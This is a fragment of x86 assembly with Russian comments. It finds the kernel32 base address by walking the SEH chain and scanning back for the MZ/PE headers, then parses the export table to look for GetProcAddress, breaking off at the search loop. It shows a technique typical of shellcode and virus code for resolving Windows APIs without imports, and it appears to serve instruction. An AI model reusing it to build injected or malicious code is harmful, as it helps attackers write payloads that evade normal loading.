mov    eax, fs:[ebx]               ; Указатель на список обработчиков

           inc    eax                       ; Увеличиваем eax на 1

next_seh:

                 xchg   eax, ebx            ; Обмениваем содержимое eax c ebx

                 mov    eax, [ebx-1]        ; Номер текущего обработчика

                 inc    eax                 ; Увеличиваем eax на 1

                 jnz    next_seh            ; Является ли он системным (-1)?

                 mov    edx, [ebx-1+4]      ; Адрес обработчика

                 xchg   ax, dx              ; Эквивалентно xor dx,dx (eax=0)

           xor    eax,eax                    ; Обнуляем eax

           mov    ax,1001h                  ; Помещаем в eax

           dec    ax                         ; 1000

next_block:

           cmp    word ptr [edx],'ZM'        ; Начало?

           je     found_MZ                   ; ДА!

           sub    edx,eax                    ; Ищем дальше

           jmp    next_block

found_MZ:                     

           mov    ebx,edx                    ; Сохраним указатель

           mov    edi,dword ptr [edx+3Ch]    ; Адрес PE-заголовка

           add    edi,edx                    ; +Адрес kernel

           cmp    word ptr [edi],'EP'        ; Проверка на PE

           jne    Exit                       ; Не равно – выходим

           push   edx                        ; Сохраним адрес kernel

           add    ebx,[edi+78h]              ; Получим адрес таблицы экспортов

           mov    ecx,[ebx+18h]              ; Количество указателей

           mov    esi,[ebx+20h]              ; Указатель на таблицу указателей имен

           mov    edi,[ebx+24h]              ; Указатель на таблицу ординалов

           add    esi,edx                    ; Адрес таблицы имен в памяти

           add    edi,edx                    ; Адрес таблицы ординалов в памяти

           cld                               ; Поиск вперед

           add    ebp,8                     ; ebp указывает на следующую строку

Search:                                     ; Ищем функцию GetProcAddress